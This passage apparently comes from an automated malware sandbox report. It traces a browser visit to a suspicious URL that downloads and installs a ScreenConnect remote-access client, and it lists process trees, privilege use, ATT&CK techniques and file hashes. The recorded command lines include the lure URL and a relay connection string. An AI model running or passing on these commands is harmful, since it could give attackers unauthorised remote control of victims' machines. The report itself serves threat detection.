Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5987A10CBEBE27C522EA252167C775DC\ProductIcon = "C:\\Windows\\Installer\\{C01A7895-EBEB-5C72-22AE-5212767C57CD}\\DefaultIcon"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1872	msiexec.exe
1872	msiexec.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5988	ScreenConnect.ClientService.exe
5180	msedge.exe
5180	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	ScreenConnect.ClientSetup.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	1872	msiexec.exe
Token: SeCreateTokenPrivilege	2192	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2192	msiexec.exe
Token: SeLockMemoryPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeMachineAccountPrivilege	2192	msiexec.exe
Token: SeTcbPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	2192	msiexec.exe
Token: SeTakeOwnershipPrivilege	2192	msiexec.exe
Token: SeLoadDriverPrivilege	2192	msiexec.exe
Token: SeSystemProfilePrivilege	2192	msiexec.exe
Token: SeSystemtimePrivilege	2192	msiexec.exe
Token: SeProfSingleProcessPrivilege	2192	msiexec.exe
Token: SeIncBasePriorityPrivilege	2192	msiexec.exe
Token: SeCreatePagefilePrivilege	2192	msiexec.exe
Token: SeCreatePermanentPrivilege	2192	msiexec.exe
Token: SeBackupPrivilege	2192	msiexec.exe
Token: SeRestorePrivilege	2192	msiexec.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeDebugPrivilege	2192	msiexec.exe
Token: SeAuditPrivilege	2192	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2192	msiexec.exe
Token: SeChangeNotifyPrivilege	2192	msiexec.exe
Token: SeRemoteShutdownPrivilege	2192	msiexec.exe
Token: SeUndockPrivilege	2192	msiexec.exe
Token: SeSyncAgentPrivilege	2192	msiexec.exe
Token: SeEnableDelegationPrivilege	2192	msiexec.exe
Token: SeManageVolumePrivilege	2192	msiexec.exe
Token: SeImpersonatePrivilege	2192	msiexec.exe
Token: SeCreateGlobalPrivilege	2192	msiexec.exe
Token: SeCreateTokenPrivilege	2192	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2192	msiexec.exe
Token: SeLockMemoryPrivilege	2192	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2192	msiexec.exe
Token: SeMachineAccountPrivilege	2192	msiexec.exe
Token: SeTcbPrivilege	2192	msiexec.exe
Token: SeSecurityPrivilege	2192	msiexec.exe
Token: SeTakeOwnershipPrivilege	2192	msiexec.exe
Token: SeLoadDriverPrivilege	2192	msiexec.exe
Token: SeSystemProfilePrivilege	2192	msiexec.exe
Token: SeSystemtimePrivilege	2192	msiexec.exe
Token: SeProfSingleProcessPrivilege	2192	msiexec.exe
Token: SeIncBasePriorityPrivilege	2192	msiexec.exe
Token: SeCreatePagefilePrivilege	2192	msiexec.exe
Token: SeCreatePermanentPrivilege	2192	msiexec.exe
Token: SeBackupPrivilege	2192	msiexec.exe
Token: SeRestorePrivilege	2192	msiexec.exe
Token: SeShutdownPrivilege	2192	msiexec.exe
Token: SeDebugPrivilege	2192	msiexec.exe
Token: SeAuditPrivilege	2192	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2192	msiexec.exe
Token: SeChangeNotifyPrivilege	2192	msiexec.exe
Token: SeRemoteShutdownPrivilege	2192	msiexec.exe
Token: SeUndockPrivilege	2192	msiexec.exe
Token: SeSyncAgentPrivilege	2192	msiexec.exe
Token: SeEnableDelegationPrivilege	2192	msiexec.exe
Token: SeManageVolumePrivilege	2192	msiexec.exe
Token: SeImpersonatePrivilege	2192	msiexec.exe
Token: SeCreateGlobalPrivilege	2192	msiexec.exe
Token: SeCreateTokenPrivilege	2192	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2192	msiexec.exe

Suspicious use of FindShellTrayWindow 49 IoCs

pid	Process
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
2192	msiexec.exe
2192	msiexec.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 37 IoCs

pid	Process
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
1800	msedge.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe
5196	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1736	1800	msedge.exe	84
PID 1800 wrote to memory of 1100	1800	msedge.exe	85
PID 1800 wrote to memory of 880	1800	msedge.exe	86
PID 1800 wrote to memory of 880	1800	msedge.exe	86
PID 1800 wrote to memory of 880	1800	msedge.exe	86
PID 1800 wrote to memory of 704	1800	msedge.exe	88
PID 1800 wrote to memory of 704	1800	msedge.exe	88
PID 1800 wrote to memory of 752	1800	msedge.exe	89
PID 1800 wrote to memory of 752	1800	msedge.exe	89
PID 1800 wrote to memory of 752	1800	msedge.exe	89
PID 1800 wrote to memory of 5016	1800	msedge.exe	90
PID 1800 wrote to memory of 5016	1800	msedge.exe	90
PID 1800 wrote to memory of 5016	1800	msedge.exe	90
PID 1800 wrote to memory of 3384	1800	msedge.exe	91
PID 1800 wrote to memory of 3384	1800	msedge.exe	91
PID 1800 wrote to memory of 3384	1800	msedge.exe	91
PID 1800 wrote to memory of 3692	1800	msedge.exe	92
PID 1800 wrote to memory of 3692	1800	msedge.exe	92
PID 1800 wrote to memory of 3692	1800	msedge.exe	92
PID 1800 wrote to memory of 928	1800	msedge.exe	96
PID 1800 wrote to memory of 3476	1800	msedge.exe	97
PID 1800 wrote to memory of 928	1800	msedge.exe	96
PID 1800 wrote to memory of 3476	1800	msedge.exe	97
PID 1800 wrote to memory of 1272	1800	msedge.exe	99
PID 1800 wrote to memory of 4320	1800	msedge.exe	106
PID 1800 wrote to memory of 4220	1800	msedge.exe	107
PID 1800 wrote to memory of 4320	1800	msedge.exe	106
PID 1800 wrote to memory of 4220	1800	msedge.exe	107
PID 1800 wrote to memory of 4220	1800	msedge.exe	107
PID 1800 wrote to memory of 4128	1800	msedge.exe	109
PID 1800 wrote to memory of 4276	1800	msedge.exe	111
PID 4276 wrote to memory of 2192	4276	ScreenConnect.ClientSetup.exe	115
PID 1872 wrote to memory of 760	1872	msiexec.exe	118
PID 760 wrote to memory of 724	760	MsiExec.exe	119
PID 760 wrote to memory of 2520	760	MsiExec.exe	123
PID 760 wrote to memory of 3352	760	MsiExec.exe	122
PID 1800 wrote to memory of 3988	1800	msedge.exe	127
PID 1800 wrote to memory of 2416	1800	msedge.exe	128
PID 1800 wrote to memory of 2172	1800	msedge.exe	129
PID 1872 wrote to memory of 5660	1872	msiexec.exe	132
PID 1872 wrote to memory of 5780	1872	msiexec.exe	134
PID 1872 wrote to memory of 5944	1872	msiexec.exe	135
PID 5988 wrote to memory of 5196	5988	ScreenConnect.ClientService.exe	137
PID 5988 wrote to memory of 2256	5988	ScreenConnect.ClientService.exe	139
PID 1800 wrote to memory of 4408	1800	msedge.exe	143
PID 1800 wrote to memory of 4408	1800	msedge.exe	143
PID 1800 wrote to memory of 5912	1800	msedge.exe	145
PID 1800 wrote to memory of 5912	1800	msedge.exe	145
PID 1800 wrote to memory of 5180	1800	msedge.exe	146

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://on.ovmdjyh.com/mne/f3cg.html
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x218,0x25c,0x7ffe392dc188,0x7ffe392dc194,0x7ffe392dc1a0
  2⤵
  PID:1736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,7706895516411212660,6742280235045657448,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,10703849532181165691,17018207995193599750,262144 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:2
  2⤵
  PID:880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2576,i,2793906366568347781,8379083915890784749,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:8
  2⤵
  PID:704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3412,i,14141998583162137104,14108120939792716197,2097152 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3416,i,11295392837606518479,7820573588806099938,2097152 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:5016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4180,i,18444335451831008649,7777248032714241039,2097152 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:1
  2⤵
  PID:3384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4216,i,4946202527288690603,7098735946868930728,2097152 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:2
  2⤵
  PID:3692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,13394592504688010193,15416370475842348459,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:8
  2⤵
  PID:928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5096,i,15807868585096990787,807453532570554402,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,2266110399046372815,4185609306649164295,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:8
  2⤵
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,2266110399046372815,4185609306649164295,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:8
  2⤵
  PID:1272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4404,i,3195026794981526681,1370464557240763023,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:8
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4392,i,2055197735272509963,16905353796996911980,2097152 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:1
  2⤵
  PID:4220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,10669643875605912881,8227273003738048370,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  PID:4128
- C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
  "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9691\e35469c544cf444d\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
    3⤵
    - Badlisted process makes network request
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6768,i,4852007373590892201,5679952759569345099,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=6808 /prefetch:8
  2⤵
  PID:3988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,12954811001092894501,14513789700002182226,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:8
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6800,i,3410622480542586035,13994767648356609035,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=6880 /prefetch:8
  2⤵
  PID:2172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3012,i,15695170713556049384,7346756972599257325,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:8
  2⤵
  PID:4408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5984,i,7981389649978876106,15010749179172596557,524288 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:8
  2⤵
  PID:5912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6192,i,4885384930126385359,7776580263294018487,262144 --field-trial-handle=2348,i,1552652413730123648,15819444875238311162,262144 --variations-seed-version --mojo-platform-channel-handle=760 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5180

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4120

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 35AA4633BABE002735231ACDEA99EA2C C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8122.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240681343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:724
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8597.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240682406 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2520
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8BA3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240684031 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3352
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5660
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 84621D1BF9DF89861C7EB55E96824955
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5780
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E47BBF39CA36E581FDB5C1FE206F4DDC E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5944

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2520

C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-kqecy0-relay.screenconnect.com&p=443&s=f35f751a-362e-4957-82a7-a9dd10571065&k=BgIAAACkAABSU0ExAAgAAAEAAQAldC%2b%2f91zI94Bfwww3PbJP9ieGbSUJFHYqf%2bMhpH2jFiLQg%2fHoQh7xK4rIZFbPcr64h6ek9AyYGychRc59hUYTb4bEr%2flI4hW%2bnzZe5wXO9Agt18afqz6uwwFzIVcPr4cuTkAs1JHm2ABDiuXCGr3H7ylQcDnuyeVVcGs2ojzQG9aH0zDxE%2bBRilgHWUCidmZa7uEoYmI37yC71H2jmmuSTYOuN%2f%2fSWSDOIacNnurL816MZ5aK7FFNFYuMrn%2fUGrZqSPyeCvi78ITMYNkFqfKeFhg5N9L5LhPEbMPecB68CNKAH%2b2tC1dDlmJnm9Q5euXgbMvspB3eM4giQseGgZLD"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5988
- C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe" "RunRole" "0422cee5-4ffa-4de0-8dac-e506826a1c5a" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5196
- C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (e35469c544cf444d)\ScreenConnect.WindowsClient.exe" "RunRole" "65c3fd28-451b-4569-bb6e-989505e64db4" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58ce58.rbs

Path C:\Config.Msi\e58ce58.rbs
Size 214KB
SHA256 d9771bb8243cc5dfeb2dd92fe4c3cfe4f3f3c592ce8f6bc6887df253ab85b16d
MD5 6cdcd92cd0e060fd2c23fe3fed6a56fb
SHA1 92c2633188d3d8506eaac4c439f0de62d3ee3eff
SHA512 043b69f6801ebde81bb0aa1a03ce9c1f1eea6505e3b2af1bff50677972d090230ea27ee5b5c5e7e6301977d88de20868d278e46a82dcc4e6018659310c623629
